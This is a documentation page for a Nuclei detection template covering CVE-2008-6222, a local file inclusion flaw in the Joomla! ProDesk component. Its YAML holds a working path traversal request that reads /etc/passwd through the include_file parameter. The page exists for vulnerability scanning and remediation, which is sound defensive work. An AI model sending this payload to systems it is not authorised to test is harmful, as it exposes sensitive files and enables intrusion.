Skip to content
Nuclei Templates

Joomla! ProDesk 1.0/1.2 - Local File Inclusion

ID: CVE-2008-6222

Severity: medium

Author: daffainfo

Tags: cve,cve2008,joomla,lfi,edb,joomlashowroom

Description

Section titled “Description”

Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2008-6222


info:
  name: Joomla! ProDesk 1.0/1.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! ProDesk to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6980
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6222
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46356
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6222
    cwe-id: CWE-22
    epss-score: 0.01302
    epss-percentile: 0.85861
    cpe: cpe:2.3:a:joomlashowroom:pro_desk_support_center:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlashowroom
    product: pro_desk_support_center
  tags: cve,cve2008,joomla,lfi,edb,joomlashowroom


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210093dcb40a80d53b03279b539272f9c7b157fbe5b9f981720380651400c8d41f61022070a434b9bfdae7bdbc4f079b6a613192b217986ddab6f4db126b4dd9e1889ab0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2008/CVE-2008-6222.yaml"

View on Github